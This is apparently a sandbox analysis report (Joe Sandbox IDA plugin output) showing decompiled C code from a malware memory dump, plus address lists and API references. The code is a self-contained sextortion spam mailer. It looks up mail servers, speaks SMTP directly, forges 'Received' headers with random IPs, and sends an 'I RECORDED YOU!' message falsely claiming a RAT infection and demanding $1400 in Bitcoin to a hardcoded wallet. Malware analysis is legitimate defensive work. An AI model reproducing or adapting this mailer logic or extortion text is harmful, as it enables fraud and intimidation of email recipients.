				char _v1684;
				char _v1696;
				char _v1708;
				char _v1812;
				int _v1816;
				signed int _v1820;
				intOrPtr _t183;
				char* _t186;
				intOrPtr _t190;
				void* _t191;
				void* _t218;
				void* _t219;
				void* _t220;
				void* _t221;
				void* _t222;

				_v12 = 0;
				_t183 = E00C72260(_a4, 0x40);
				_t220 = _t219 + 8;
				_v8 = _t183;
				if(_v8 == 0) {
					L57:
					return _v12;
				}
				_v8 = _v8 + 1;
				_t186 = E00C710A0(_v8,  &_v28); // executed
				_t221 = _t220 + 8;
				if(_t186 == 0) {
					goto L57;
				}
				__imp__#23(2, 1, 6); // executed
				_v32 = _t186;
				if(_v32 == 0xffffffff || _v32 == 0xffffffff) {
					goto L57;
				} else {
					__imp__#4(_v32,  &_v28, 0x10); // executed
					if(_t186 == 0xffffffff) {
						L56:
						__imp__#22(_v32, 2); // executed
						__imp__#3(_v32); // executed
						goto L57;
					} else {
						_v144 = 1;
						__imp__#21(_v32, 6, 1,  &_v144, 4); // executed
						_v36 = 1;
						while(_v36 != 0 && _v36 != 8) {
							_t190 = E00C71160(_v32,  &_v1172, 0x400); // executed
							_t222 = _t221 + 0xc;
							_v148 = _t190;
							if(_v148 != 0) {
								 *((char*)(_t218 + _v148 - 0x490)) = 0;
								_t191 = E00C711C0( &_v1172);
								_t221 = _t222 + 4;
								if(_t191 != 0) {
									_v1820 = _v36;
									_v1820 = _v1820 - 1;
									if(_v1820 > 6) {
										L54:
										continue;
									}
									switch( *((intOrPtr*)(_v1820 * 4 +  &M00C7223C))) {
										case 0:
											_push("ESMTP");
											if(StrStrA( &_v1172) == 0) {
												_t195 = wsprintfA( &_v1172, "HELO %s\r\n", "[102.129.143.97]");
												_t223 = _t221 + 0xc;
												_v1176 = _t195;
											} else {
												_t198 = wsprintfA( &_v1172, "EHLO %s\r\n", "[102.129.143.97]");
												_t223 = _t221 + 0xc;
												_v1176 = _t198;
											}
											_t197 = E00C71120(_v32,  &_v1172, _v1176); // executed
											_t221 = _t223 + 0xc;
											if(_t197 != 0) {
												_v36 = 3;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 1:
											goto L54;
										case 2:
											__eax = _a4;
											__ecx =  &_v140;
											__eax = wsprintfA( &_v140, "<%s>", _a4);
											__esp = __esp + 0xc;
											__eax =  &_v1172;
											__eax = wsprintfA( &_v1172, "MAIL FROM: %s\r\n",  &_v140);
											__esp = __esp + 0xc;
											_v1180 = __eax;
											__ecx = _v1180;
											__eax = _v32;
											__eax = E00C71120(_v32,  &_v1172, _v1180); // executed
											if(__eax != 0) {
												_v36 = 4;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 3:
											__ecx = _a4;
											__eax = wsprintfA( &_v1172, "RCPT TO: <%s>\r\n", _a4);
											__esp = __esp + 0xc;
											_v1184 = __eax;
											__eax = _v1184;
											__ecx =  &_v1172;
											__eax = E00C71120(_v32,  &_v1172, _v1184); // executed
											if(__eax != 0) {
												_v36 = 5;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 4:
											__eax = _v32;
											__eax = E00C71120(_v32, "DATA\r\n", 0xffffffff); // executed
											if(__eax != 0) {
												_v36 = 6;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 5:
											__ecx =  &_v1568;
											E00C71320( &_v1568, 5,  &_v1568) = wsprintfA( &_v1292, "%s.com", __eax);
											__esp = __esp + 0xc;
											 &_v1812 = E00C71490(0,  &_v1812, 1); // executed
											Sleep(0x7d0); // executed
											__ecx =  &_v1684;
											__eax = E00C71490(0,  &_v1684, 0); // executed
											__eax =  &_v1292;
											__eax = rand();
											asm("cdq");
											__ecx = 0xfe;
											_t74 = __eax % 0xfe;
											__eax = __eax / 0xfe;
											__eax = rand();
											asm("cdq");
											__ecx = 0xfe;
											_t78 = __eax % 0xfe;
											__eax = __eax / 0xfe;
											__eax = rand();
											asm("cdq");
											__ecx = 0xfe;
											_t82 = __eax % 0xfe;
											__eax = __eax / 0xfe;
											__eax = rand();
											asm("cdq");
											__ecx = 0xd2;
											_t86 = __eax % 0xd2;
											E00C71390(0xd2, 7,  &_v1708) =  &_v1172;
											__eax = wsprintfA( &_v1172, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n",  &_v1172, _t86 + 1, _t82 + 1, _t78 + 1, _t74 + 1,  &_v1292,  &_v1684);
											__esp = __esp + 0x24;
											_v1816 = __eax;
											__ecx = _v1816;
											__eax = _v32;
											__eax = E00C71120(_v32,  &_v1172, _v1816); // executed
											if(__eax != 0) {
												__ecx =  &_v1812;
												E00C71320(__ecx, 3,  &_v1580) =  &_v1696;
												__eax = E00C71320(__ecx, 5,  &_v1696);
												__ecx =  &_v1172;
												__eax = wsprintfA( &_v1172, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax,  &_v1172);
												__esp = __esp + 0x14;
												_v1816 = __eax;
												__eax =  &_v1172;
												__ecx = _v32;
												__eax = E00C71120(_v32,  &_v1172, _v1816); // executed
												if(__eax != 0) {
													__eax =  &_v1172;
													__eax = wsprintfA( &_v1172, "From: %s\r\n", _a4);
													__esp = __esp + 0xc;
													_v1816 = __eax;
													__ecx = _v1816;
													__eax = _v32;
													if(E00C71120(_v32,  &_v1172, _v1816) != 0) {
														__ecx = _a4;
														__eax = wsprintfA( &_v1172, "To: %s\r\n", _a4);
														__esp = __esp + 0xc;
														_v1816 = __eax;
														__eax = _v1816;
														__ecx =  &_v1172;
														if(E00C71120(_v32,  &_v1172, _v1816) != 0) {
															__eax =  &_v1172;
															__eax = wsprintfA( &_v1172, "Subject: %s\r\n", "I RECORDED YOU!");
															__esp = __esp + 0xc;
															_v1816 = __eax;
															__ecx = _v1816;
															__eax = _v32;
															if(E00C71120(_v32,  &_v1172, _v1816) != 0) {
																__ecx =  &_v1684;
																__eax = wsprintfA( &_v1172, "Date: %s\r\n",  &_v1684);
																__esp = __esp + 0xc;
																_v1816 = __eax;
																__eax = _v1816;
																__ecx =  &_v1172;
																if(E00C71120(_v32,  &_v1172, _v1816) != 0) {
																	__eax =  &_v1292;
																	__ecx =  &_v1580;
																	E00C71320(__ecx, 6, __ecx) = E00C71320(__ecx, 6,  &_v1696);
																	__eax =  &_v1172;
																	__eax = wsprintfA( &_v1172, "Message-ID: <%s.%s@%s>\r\n",  &_v1172,  &_v1172,  &_v1292);
																	__esp = __esp + 0x14;
																	_v1816 = __eax;
																	__ecx = _v1816;
																	__eax = _v32;
																	if(E00C71120(_v32,  &_v1172, _v1816) != 0) {
																		__ecx = _v32;
																		if(E00C71120(_v32, "Mime-Version: 1.0\r\n", 0xffffffff) != 0) {
																			if(E00C71120(_v32, "Content-type: text/plain;\r\n\r\n", 0xffffffff) != 0) {
																				 &_v1556 = memset( &_v1556, 0, 0x104);
																				__ecx =  &_v1556;
																				strcpy( &_v1556, "Hello there!\r\n\r\n") = strcat( &_v1556, "Unfortunately, there are some bad news for you.\r\n\r\n");
																				 &_v1556 = strcat( &_v1556, "Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.\r\n\r\n");
																				__ecx =  &_v1556;
																				 &_v1556 = strcat( &_v1556, "You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.\r\n\r\n");
																				__ecx =  &_v1556;
																				 &_v1556 = strcat( &_v1556, "All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).\r\n\r\n");
																				__ecx =  &_v1556;
																				strcat( &_v1556, "After the transaction is successful, I will proceed to delete everything without delay.\r\n\r\n") = _v32;
																				if(E00C71120(_v32,  &_v1556, 0xffffffff) != 0) {
																					__ecx =  &_v1556;
																					memset( &_v1556, 0, 0x104) = strcpy( &_v1556, "Afterwards, we can pretend that we have never met before.\r\n\r\n");
																					 &_v1556 = strcat( &_v1556, "In addition, I assure you that all the harmful software will be deleted from your device.\r\n\r\n");
																					__ecx =  &_v1556;
																					 &_v1556 = strcat( &_v1556, "My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX\r\n\r\n");
																					__ecx =  &_v1556;
																					 &_v1556 = strcat( &_v1556, "Everything will be carried out based on fairness!\r\n\r\n");
																					__ecx =  &_v1556;
																					strcat( &_v1556, "An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.\r\n.\r\n") = _v32;
																					if(E00C71120(_v32,  &_v1556, 0xffffffff) != 0) {
																						_v36 = 7;
																					} else {
																						_v36 = 0;
																					}
																				} else {
																					_v36 = 0;
																				}
																			} else {
																				_v36 = 0;
																			}
																		} else {
																			_v36 = 0;
																		}
																	} else {
																		_v36 = 0;
																	}
																} else {
																	_v36 = 0;
																}
															} else {
																_v36 = 0;
															}
														} else {
															_v36 = 0;
														}
													} else {
														_v36 = 0;
													}
												} else {
													_v36 = 0;
												}
											} else {
												_v36 = 0;
											}
											goto L54;
										case 6:
											__ecx = _v32;
											__eax = E00C71120(_v32, "QUIT", 0xffffffff);
											_v36 = 8;
											goto L54;
									}
								} else {
									break;
								}
							} else {
								break;
							}
						}
						_v12 = 0 | _v36 == 0x00000008;
						goto L56;
					}
				}
			}

0x00c719e9
0x00c719f6
0x00c719fb
0x00c719fe
0x00c71a05
0x00c72233
0x00c72239
0x00c72239
0x00c71a11
0x00c71a1c
0x00c71a21
0x00c71a26
0x00000000
0x00000000
0x00c71a32
0x00c71a38
0x00c71a3f
0x00000000
0x00c71a4f
0x00c71a59
0x00c71a62
0x00c7221d
0x00c72223
0x00c7222d
0x00000000
0x00c71a68
0x00c71a68
0x00c71a83
0x00c71a89
0x00c71a90
0x00c71ab4
0x00c71ab9
0x00c71abc
0x00c71ac9
0x00c71ad6
0x00c71ae5
0x00c71aea
0x00c71aef
0x00c71af9
0x00c71b08
0x00c71b15
0x00c7220c
0x00000000
0x00c7220c
0x00c71b21
0x00000000
0x00c71b28
0x00c71b3c
0x00c71b71
0x00c71b77
0x00c71b7a
0x00c71b3e
0x00c71b4f
0x00c71b55
0x00c71b58
0x00c71b58
0x00c71b92
0x00c71b97
0x00c71b9c
0x00c71baa
0x00c71b9e
0x00c71b9e
0x00c71b9e
0x00000000
0x00000000
0x00000000
0x00000000
0x00c71bb6
0x00c71bbf
0x00c71bc6
0x00c71bcc
0x00c71bdb
0x00c71be2
0x00c71be8
0x00c71beb
0x00c71bf1
0x00c71bff
0x00c71c03
0x00c71c0d
0x00c71c1b
0x00c71c0f
0x00c71c0f
0x00c71c0f
0x00000000
0x00000000
0x00c71c27
0x00c71c37
0x00c71c3d
0x00c71c40
0x00c71c46
0x00c71c4d
0x00c71c58
0x00c71c62
0x00c71c70
0x00c71c64
0x00c71c64
0x00c71c64
0x00000000
0x00000000
0x00c71c83
0x00c71c87
0x00c71c91
0x00c71c9f
0x00c71c93
0x00c71c93
0x00c71c93
0x00000000
0x00000000
0x00c71cab
0x00c71cc9
0x00c71ccf
0x00c71cdd
0x00c71cea
0x00c71cf2
0x00c71cfb
0x00c71d0a
0x00c71d11
0x00c71d16
0x00c71d17
0x00c71d1c
0x00c71d1c
0x00c71d22
0x00c71d27
0x00c71d28
0x00c71d2d
0x00c71d2d
0x00c71d33
0x00c71d38
0x00c71d39
0x00c71d3e
0x00c71d3e
0x00c71d44
0x00c71d49
0x00c71d4a
0x00c71d4f
0x00c71d6c
0x00c71d73
0x00c71d79
0x00c71d7c
0x00c71d82
0x00c71d90
0x00c71d94
0x00c71d9e
0x00c71dac
0x00c71dc5
0x00c71dce
0x00c71ddc
0x00c71de3
0x00c71de9
0x00c71dec
0x00c71df9
0x00c71e00
0x00c71e04
0x00c71e0e
0x00c71e25
0x00c71e2c
0x00c71e32
0x00c71e35
0x00c71e3b
0x00c71e49
0x00c71e57
0x00c71e65
0x00c71e75
0x00c71e7b
0x00c71e7e
0x00c71e84
0x00c71e8b
0x00c71ea0
0x00c71eb8
0x00c71ebf
0x00c71ec5
0x00c71ec8
0x00c71ece
0x00c71edc
0x00c71eea
0x00c71ef8
0x00c71f0b
0x00c71f11
0x00c71f14
0x00c71f1a
0x00c71f21
0x00c71f36
0x00c71f44
0x00c71f4b
0x00c71f66
0x00c71f74
0x00c71f7b
0x00c71f81
0x00c71f84
0x00c71f8a
0x00c71f98
0x00c71fa6
0x00c71fbb
0x00c71fc9
0x00c71fec
0x00c72008
0x00c72015
0x00c72030
0x00c72044
0x00c72051
0x00c72080
0x00c7208d
0x00c720bc
0x00c720c9
0x00c720e1
0x00c720ef
0x00c72104
0x00c7211f
0x00c72133
0x00c72140
0x00c7216f
0x00c7217c
0x00c721ab
0x00c721b8
0x00c721d0
0x00c721de
0x00c721e9
0x00c721e0
0x00c721e0
0x00c721e0
0x00c720f1
0x00c720f1
0x00c720f1
0x00c71fee
0x00c71fee
0x00c71fee
0x00c71fcb
0x00c71fcb
0x00c71fcb
0x00c71fa8
0x00c71fa8
0x00c71fa8
0x00c71f38
0x00c71f38
0x00c71f38
0x00c71eec
0x00c71eec
0x00c71eec
0x00c71ea2
0x00c71ea2
0x00c71ea2
0x00c71e59
0x00c71e59
0x00c71e59
0x00c71e10
0x00c71e10
0x00c71e10
0x00c71da0
0x00c71da0
0x00c71da0
0x00000000
0x00000000
0x00c721f9
0x00c721fd
0x00c72205
0x00000000
0x00000000
0x00c71af1
0x00000000
0x00c71af1
0x00c71acb
0x00000000
0x00c71acb
0x00c71ac9
0x00c7221a
0x00000000
0x00c7221a
0x00c71a62

APIs

Part of subcall function 00C72260: strchr.MSVCR90 ref: 00C7226B

Part of subcall function 00C710A0: DnsQuery_A.DNSAPI(00000000,0000000F,00000000,00000000,00000000,00000000), ref: 00C710C4
Part of subcall function 00C710A0: htons.WS2_32(00000019), ref: 00C710F5
Part of subcall function 00C710A0: DnsFree.DNSAPI(00000000,00000001), ref: 00C7110F

socket.WS2_32(00000002,00000001,00000006), ref: 00C71A32
connect.WS2_32(000000FF,?,00000010), ref: 00C71A59
setsockopt.WS2_32(000000FF,00000006,00000001,00000001,00000004), ref: 00C71A83
shutdown.WS2_32(000000FF,00000002), ref: 00C72223
closesocket.WS2_32(000000FF), ref: 00C7222D

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: FreeQuery_closesocketconnecthtonssetsockoptshutdownsocketstrchr
String ID:
API String ID: 3655475579-0
Opcode ID: 31c5ff187d5f3790b82331c6704d71f5f903e79a6643be367aa84278d473d901
Instruction ID: 39c7f8a93981e961a5b568a94a6fa425bdc2035bd201834022280c3bc7547953
Opcode Fuzzy Hash: 31c5ff187d5f3790b82331c6704d71f5f903e79a6643be367aa84278d473d901
Instruction Fuzzy Hash: 8E415C71D00208DBDB24DBA8DC49BEEB7B8BB04314F048198EA1D672C1E7749A85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00C71C27 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E00C71C27(void* __eflags) {
				void* _t167;
				intOrPtr _t171;
				void* _t172;
				void* _t197;
				void* _t199;
				void* _t201;
				void* _t203;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t197 - 0x49c)) = wsprintfA(_t197 - 0x490, "RCPT TO: <%s>\r\n",  *((intOrPtr*)(_t197 + 8)));
					_t167 = E00C71120( *((intOrPtr*)(_t197 - 0x1c)), _t197 - 0x490,  *((intOrPtr*)(_t197 - 0x49c))); // executed
					_t201 = _t199 + 0x18;
					if(_t167 != 0) {
						 *(_t197 - 0x20) = 5;
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t197 - 0x20) != 0 &&  *(_t197 - 0x20) != 8) {
						_t171 = E00C71160( *((intOrPtr*)(_t197 - 0x1c)), _t197 - 0x490, 0x400); // executed
						_t203 = _t201 + 0xc;
						 *((intOrPtr*)(_t197 - 0x90)) = _t171;
						if( *((intOrPtr*)(_t197 - 0x90)) != 0) {
							L5:
							 *((char*)(_t197 +  *((intOrPtr*)(_t197 - 0x90)) - 0x490)) = 0;
							_t172 = E00C711C0(_t197 - 0x490);
							_t201 = _t203 + 4;
							if(_t172 != 0) {
								L7:
								 *(_t197 - 0x718) =  *(_t197 - 0x20);
								 *(_t197 - 0x718) =  *(_t197 - 0x718) - 1;
								if( *(_t197 - 0x718) > 6) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t197 - 0x718) * 4 +  &M00C7223C))) {
									case 0:
										L9:
										_push("ESMTP");
										if(StrStrA(_t197 - 0x490) == 0) {
											_t176 = wsprintfA(_t197 - 0x490, "HELO %s\r\n", "[102.129.143.97]");
											_t204 = _t201 + 0xc;
											 *(_t197 - 0x494) = _t176;
										} else {
											_t179 = wsprintfA(_t197 - 0x490, "EHLO %s\r\n", "[102.129.143.97]");
											_t204 = _t201 + 0xc;
											 *(_t197 - 0x494) = _t179;
										}
										_t178 = E00C71120( *((intOrPtr*)(_t197 - 0x1c)), _t197 - 0x490,  *(_t197 - 0x494)); // executed
										_t201 = _t204 + 0xc;
										if(_t178 != 0) {
											 *(_t197 - 0x20) = 3;
										} else {
											 *(_t197 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax =  *(__ebp + 8);
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<%s>",  *(__ebp + 8));
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x498) = __eax;
										__ecx =  *(__ebp - 0x498);
										__eax =  *(__ebp - 0x1c);
										__eax = E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x498)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										goto L0;
									case 4:
										L21:
										__eax =  *(__ebp - 0x1c);
										__eax = E00C71120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										L24:
										__ecx = __ebp - 0x61c;
										E00C71320(__ebp - 0x61c, 5, __ebp - 0x61c) = wsprintfA(__ebp - 0x508, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x710 = E00C71490(0, __ebp - 0x710, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x690;
										__eax = E00C71490(0, __ebp - 0x690, 0); // executed
										__eax = __ebp - 0x508;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t57 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t61 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t65 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t69 = __eax % 0xd2;
										E00C71390(0xd2, 7, __ebp - 0x6a8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t69 + 1, _t65 + 1, _t61 + 1, _t57 + 1, __ebp - 0x508, __ebp - 0x690);
										__esp = __esp + 0x24;
										 *(__ebp - 0x714) = __eax;
										__ecx =  *(__ebp - 0x714);
										__eax =  *(__ebp - 0x1c);
										__eax = E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
										if(__eax != 0) {
											__ecx = __ebp - 0x710;
											E00C71320(__ecx, 3, __ebp - 0x628) = __ebp - 0x69c;
											__eax = E00C71320(__ecx, 5, __ebp - 0x69c);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x714) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: %s\r\n",  *(__ebp + 8));
												__esp = __esp + 0xc;
												 *(__ebp - 0x714) = __eax;
												__ecx =  *(__ebp - 0x714);
												__eax =  *(__ebp - 0x1c);
												if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x714) = __eax;
													__eax =  *(__ebp - 0x714);
													__ecx = __ebp - 0x490;
													if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x714) = __eax;
														__ecx =  *(__ebp - 0x714);
														__eax =  *(__ebp - 0x1c);
														if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
															__ecx = __ebp - 0x690;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x690);
															__esp = __esp + 0xc;
															 *(__ebp - 0x714) = __eax;
															__eax =  *(__ebp - 0x714);
															__ecx = __ebp - 0x490;
															if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
																__eax = __ebp - 0x508;
																__ecx = __ebp - 0x628;
																E00C71320(__ecx, 6, __ecx) = E00C71320(__ecx, 6, __ebp - 0x69c);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x508);
																__esp = __esp + 0x14;
																 *(__ebp - 0x714) = __eax;
																__ecx =  *(__ebp - 0x714);
																__eax =  *(__ebp - 0x1c);
																if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	if(E00C71120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff) != 0) {
																		if(E00C71120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff) != 0) {
																			__ebp - 0x610 = memset(__ebp - 0x610, 0, 0x104);
																			__ecx = __ebp - 0x610;
																			strcpy(__ebp - 0x610, "Hello there!\r\n\r\n") = strcat(__ebp - 0x610, "Unfortunately, there are some bad news for you.\r\n\r\n");
																			__ebp - 0x610 = strcat(__ebp - 0x610, "Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			strcat(__ebp - 0x610, "After the transaction is successful, I will proceed to delete everything without delay.\r\n\r\n") =  *(__ebp - 0x1c);
																			if(E00C71120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																				__ecx = __ebp - 0x610;
																				memset(__ebp - 0x610, 0, 0x104) = strcpy(__ebp - 0x610, "Afterwards, we can pretend that we have never met before.\r\n\r\n");
																				__ebp - 0x610 = strcat(__ebp - 0x610, "In addition, I assure you that all the harmful software will be deleted from your device.\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "Everything will be carried out based on fairness!\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				strcat(__ebp - 0x610, "An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.\r\n.\r\n") =  *(__ebp - 0x1c);
																				if(E00C71120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										L47:
										__ecx =  *(__ebp - 0x1c);
										__eax = E00C71120( *(__ebp - 0x1c), "QUIT", 0xffffffff);
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t197 - 8) = 0 |  *(_t197 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t197 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t197 - 0x1c))); // executed
					return  *(_t197 - 8);
				}
			}

0x00c71c27
0x00c71c27
0x00c71c27
0x00c71c40
0x00c71c58
0x00c71c5d
0x00c71c62
0x00c71c70
0x00c71c64
0x00c71c64
0x00c71c64
0x00000000
0x00c7220c
0x00c71ab4
0x00c71ab9
0x00c71abc
0x00c71ac9
0x00c71ad0
0x00c71ad6
0x00c71ae5
0x00c71aea
0x00c71aef
0x00c71af6
0x00c71af9
0x00c71b08
0x00c71b15
0x00000000
0x00000000
0x00c71b1b
0x00c71b21
0x00000000
0x00c71b28
0x00c71b28
0x00c71b3c
0x00c71b71
0x00c71b77
0x00c71b7a
0x00c71b3e
0x00c71b4f
0x00c71b55
0x00c71b58
0x00c71b58
0x00c71b92
0x00c71b97
0x00c71b9c
0x00c71baa
0x00c71b9e
0x00c71b9e
0x00c71b9e
0x00000000
0x00000000
0x00000000
0x00000000
0x00c71bb6
0x00c71bb6
0x00c71bbf
0x00c71bc6
0x00c71bcc
0x00c71bdb
0x00c71be2
0x00c71be8
0x00c71beb
0x00c71bf1
0x00c71bff
0x00c71c03
0x00c71c0d
0x00c71c1b
0x00c71c0f
0x00c71c0f
0x00c71c0f
0x00000000
0x00000000
0x00000000
0x00000000
0x00c71c7c
0x00c71c83
0x00c71c87
0x00c71c91
0x00c71c9f
0x00c71c93
0x00c71c93
0x00c71c93
0x00000000
0x00000000
0x00c71cab
0x00c71cab
0x00c71cc9
0x00c71ccf
0x00c71cdd
0x00c71cea
0x00c71cf2
0x00c71cfb
0x00c71d0a
0x00c71d11
0x00c71d16
0x00c71d17
0x00c71d1c
0x00c71d1c
0x00c71d22
0x00c71d27
0x00c71d28
0x00c71d2d
0x00c71d2d
0x00c71d33
0x00c71d38
0x00c71d39
0x00c71d3e
0x00c71d3e
0x00c71d44
0x00c71d49
0x00c71d4a
0x00c71d4f
0x00c71d6c
0x00c71d73
0x00c71d79
0x00c71d7c
0x00c71d82
0x00c71d90
0x00c71d94
0x00c71d9e
0x00c71dac
0x00c71dc5
0x00c71dce
0x00c71ddc
0x00c71de3
0x00c71de9
0x00c71dec
0x00c71df9
0x00c71e00
0x00c71e04
0x00c71e0e
0x00c71e25
0x00c71e2c
0x00c71e32
0x00c71e35
0x00c71e3b
0x00c71e49
0x00c71e57
0x00c71e65
0x00c71e75
0x00c71e7b
0x00c71e7e
0x00c71e84
0x00c71e8b
0x00c71ea0
0x00c71eb8
0x00c71ebf
0x00c71ec5
0x00c71ec8
0x00c71ece
0x00c71edc
0x00c71eea
0x00c71ef8
0x00c71f0b
0x00c71f11
0x00c71f14
0x00c71f1a
0x00c71f21
0x00c71f36
0x00c71f44
0x00c71f4b
0x00c71f66
0x00c71f74
0x00c71f7b
0x00c71f81
0x00c71f84
0x00c71f8a
0x00c71f98
0x00c71fa6
0x00c71fbb
0x00c71fc9
0x00c71fec
0x00c72008
0x00c72015
0x00c72030
0x00c72044
0x00c72051
0x00c72080
0x00c7208d
0x00c720bc
0x00c720c9
0x00c720e1
0x00c720ef
0x00c72104
0x00c7211f
0x00c72133
0x00c72140
0x00c7216f
0x00c7217c
0x00c721ab
0x00c721b8
0x00c721d0
0x00c721de
0x00c721e9
0x00c721e0
0x00c721e0
0x00c721e0
0x00c720f1
0x00c720f1
0x00c720f1
0x00c71fee
0x00c71fee
0x00c71fee
0x00c71fcb
